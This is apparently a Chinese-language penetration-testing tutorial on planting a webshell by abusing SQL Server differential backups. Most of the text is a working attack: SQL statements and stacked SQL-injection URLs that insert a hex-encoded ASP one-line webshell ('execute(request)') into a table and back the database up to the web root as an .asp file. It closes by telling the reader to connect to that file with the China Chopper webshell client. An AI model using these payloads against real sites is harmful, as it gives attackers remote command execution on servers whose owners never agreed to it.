Web滲透之mssql差異備份getshell

簡介

差異備份數據庫得到webshell。在sql server 里dbo和sa權限都有備份數據庫權限，我們可以把數據庫備份稱asp文件，這樣我們就可以通過mssqlserver的備份數據庫功能生成一個網頁小馬。

---

 

 

差異備份的流程大概這樣：

1.完整備份一次(保存位置當然可以改)

backup database 庫名 to disk = 
'c:\ddd.bak';--

2.創建表並插入數據

create table [dbo].[dtest] ([cmd] 
[image]);--
insert into dtest(cmd) 
values(0x3C25657865637574652872657175657374282261222929253E);--

3.進行差異備份

backup 
database 庫名 to disk='目標位置\d.asp' WITH 
DIFFERENTIAL,FORMAT;--

上面

0x3C25657865637574652872657175657374282261222929253E

就是一句話木馬的內容：<%execute(request("a"))%>

例子

測試例子中我目標網站的絕對路徑是E:\wwwroot\asp_sqli，數據庫名是asp_test

1、

http://192.168.5.21:81/index.asp?id=1;backup%20database%20asp_test%20to%20disk%20=%27E:\wwwroot\asp_sqli\ddd.bak%27;--

2、

http://192.168.5.21:81/index.asp?id=1;create%20table%20[dbo].[dtest]%20([cmd][image]);--

http://192.168.5.21:81/index.asp?id=1;insert%20into%20dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

 

 

 

3、

http://192.168.5.21:81/index.asp?id=1;backup%20database%20asp_test%20to%20disk=%27E:\wwwroot\asp_sqli\d.asp%27%20WITH%20DIFFERENTIAL,FORMAT;--

 

菜刀連接d.asp即可。